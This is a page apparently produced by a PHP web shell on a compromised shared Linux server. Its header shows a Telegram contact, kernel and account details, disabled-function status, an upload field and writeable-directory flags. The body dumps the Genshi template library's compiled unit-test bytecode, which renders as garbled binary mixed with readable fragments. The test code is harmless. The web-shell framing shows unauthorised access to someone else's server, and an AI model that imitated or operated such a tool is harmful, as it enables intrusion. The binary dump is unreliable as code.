https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/genshi/template/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/genshi/template/tests/__pycache__/plugin.cpython-310.pyc
o

!�b�&�@s�ddlZddlZddlZddlmZddlmZddlmZm	Z	m
Z
ddlmZm
Z
mZdZGdd�dej�ZGd	d
�d
ej�Zdd�Zed
krPejdd�dSdS)�N)�Stream)�DocType)�MarkupTemplate�TextTemplate�NewTextTemplate)�ConfigurationError�MarkupTemplateEnginePlugin�TextTemplateEnginePluginzgenshi.template.testsc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZdS) �"MarkupTemplateEnginePluginTestCasecCsft�}|�d|j�|�d|j�|�d|j�|�g|jj�|�d|jj�|�d|jjj	�dS)N�htmlT�)
r�assertEqual�default_encoding�default_format�default_doctype�loader�search_path�auto_reload�_cache�capacity��self�plugin�r�>/usr/lib/python3/dist-packages/genshi/template/tests/plugin.py�test_init_no_optionssz7MarkupTemplateEnginePluginTestCase.test_init_no_optionscC�Ltdddd�d�}|�ddg|jj�|�d|jj�|�d	|jjj�dS�
N�off�100z%/usr/share/tmpl:/usr/local/share/tmpl)zgenshi.auto_reload�genshi.max_cache_sizezgenshi.search_path��optionsz/usr/share/tmplz/usr/local/share/tmplF�d)rr
rrrrrrrrr�test_init_with_loader_options)�
�
�z@MarkupTemplateEnginePluginTestCase.test_init_with_loader_optionscC�|jttddid�dS)Nr �thirtyr!��assertRaisesrr�rrrr�!test_init_with_invalid_cache_size4�
�zDMarkupTemplateEnginePluginTestCase.test_init_with_invalid_cache_sizecCsBtdddd�d�}|�d|j�|�d|j�|�tj|j�dS)N�iso-8859-15�xhtmlzxhtml-strict)�genshi.default_encoding�genshi.default_format�genshi.default_doctyper!)rr
rrr�XHTMLrrrrr�test_init_with_output_options8s
�z@MarkupTemplateEnginePluginTestCase.test_init_with_output_optionscCr&)Nr0�foobarr!r(r*rrr�$test_init_with_invalid_output_formatBr,zGMarkupTemplateEnginePluginTestCase.test_init_with_invalid_output_formatcCr&)Nr1r4r!r(r*rrr�test_init_with_invalid_doctypeFr,zAMarkupTemplateEnginePluginTestCase.test_init_with_invalid_doctypecCs<t�}|�td�}|�dtj�|j��t|t	�sJ�dS)N�.templates.testz	test.html)
r�
load_template�PACKAGEr
�os�path�basename�filename�
isinstancer�rr�tmplrrr�test_load_template_from_fileJsz?MarkupTemplateEnginePluginTestCase.test_load_template_from_filecC�4t�}|jddd�}|�d|j�t|t�sJ�dS)Nz#<p>
          $message
        </p>��template_string)rr8r
r=r>rr?rrr�test_load_template_from_stringPszAMarkupTemplateEnginePluginTestCase.test_load_template_from_stringcC�6t�}|�td�}|�ddi|�}t|t�sJ�dS�Nr7�message�Hello)rr8r9�	transformr>r�rrr@�streamrrr�test_transform_with_loadX�z;MarkupTemplateEnginePluginTestCase.test_transform_with_loadcC�,t�}|�dditd�}t|t�sJ�dS�NrHrIr7)rrJr9r>r�rrrLrrr�test_transform_without_load^�

�z>MarkupTemplateEnginePluginTestCase.test_transform_without_loadcC�6t�}|�td�}|jddi|d�}|�d|�dS)Nr7rHrI��templatez�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang="en">
  <head>
    <title>Test</title>
  </head>
  <body>
    <h1>Test</h1>
    <p>Hello</p>
  </body>
</html>�rr8r9�renderr
�rrr@�outputrrr�test_renderds	�z.MarkupTemplateEnginePluginTestCase.test_rendercCs8t�}|�td�}|jddid|d�}|�d|�dS)Nr7rHrIr.)�formatrVa<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
  <head>
    <title>Test</title>
  </head>
  <body>
    <h1>Test</h1>
    <p>Hello</p>
  </body>
</html>rWrYrrr�test_render_with_formatss�	�z:MarkupTemplateEnginePluginTestCase.test_render_with_formatcCs>tddid�}|�td�}|jddi|d�}|�d|�dS)	Nr1�html-strictr!r7rHrIrUz�<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
  <head>
    <title>Test</title>
  </head>
  <body>
    <h1>Test</h1>
    <p>Hello</p>
  </body>
</html>rWrYrrr�test_render_with_doctype�s�	�z;MarkupTemplateEnginePluginTestCase.test_render_with_doctypecCs@tddid�}|�td�}|jddi|dd�}|�d	|�dS)
Nr1r^r!z.templates.test_no_doctyperHrIT)rV�fragmentzy<html lang="en">
  <head>
    <title>Test</title>
  </head>
  <body>
    <h1>Test</h1>
    <p>Hello</p>
  </body>
</html>rWrYrrr�!test_render_fragment_with_doctype�s���zDMarkupTemplateEnginePluginTestCase.test_render_fragment_with_doctypecCrT)N�.templates.functions�snippetz
<b>Foo</b>rUz,<div>
False
bar
<b>Foo</b>
<b>Foo</b>
</div>rWrYrrr�test_helper_functions�s�z8MarkupTemplateEnginePluginTestCase.test_helper_functionsN)�__name__�
__module__�__qualname__rr$r+r3r5r6rArErMrRr[r]r_rardrrrrr
s 

r
c@s\eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�ZdS)� TextTemplateEnginePluginTestCasecCsXt�}|�d|j�|�d|j�|�g|jj�|�d|jj�|�d|jjj�dS)N�textTr)	r	r
rrrrrrrrrrrr�sz5TextTemplateEnginePluginTestCase.test_init_no_optionscCrr)r	r
rrrrrrrrrr$�r%z>TextTemplateEnginePluginTestCase.test_init_with_loader_optionscCs tddid�}|�d|j�dS)Nr/r-r!)r	r
rrrrrr3�s�z>TextTemplateEnginePluginTestCase.test_init_with_output_optionscCsLtddid�}|�t|j�|�td�}|jddi|d�}|�d|�dS)	Nzgenshi.new_text_syntax�yesr!z.templates.new_syntax�fooTrU�bar)r	r
r�template_classr8r9rXrYrrr�test_init_with_new_syntax�s�z:TextTemplateEnginePluginTestCase.test_init_with_new_syntaxcCs<t�}|�td�}t|t�sJ�|�dtj�|j	��dS)Nr7ztest.txt)
r	r8r9r>rr
r:r;r<r=r?rrrrA�sz=TextTemplateEnginePluginTestCase.test_load_template_from_filecCrB)Nz$messagerC)r	r8r
r=r>rr?rrrrE�sz?TextTemplateEnginePluginTestCase.test_load_template_from_stringcCrOrP)r	rJr9r>rrQrrrrR�rSz<TextTemplateEnginePluginTestCase.test_transform_without_loadcCrFrG)r	r8r9rJr>rrKrrrrM�rNz9TextTemplateEnginePluginTestCase.test_transform_with_loadcCrT)Nr7rHrIrUzTest
====

Hello
�r	r8r9rXr
rYrrrr[�s�z,TextTemplateEnginePluginTestCase.test_rendercCs2t�}|�td�}|ji|d�}|�d|�dS)NrbrUz
False
bar
rorYrrrrd�s�z6TextTemplateEnginePluginTestCase.test_helper_functionsN)
rerfrgrr$r3rnrArErRrMr[rdrrrrrh�s		
rhcCs0t��}|�t�td��|�t�td��|S)N�test)�unittest�	TestSuite�addTest�	makeSuiter
rh)�suiterrrrusru�__main__)�defaultTest)�doctestr:rq�genshi.corer�
genshi.outputr�genshi.templaterrr�genshi.template.pluginrrr	r9�TestCaser
rhrure�mainrrrr�<module>sP�

https://t.me/RX1948 - 2025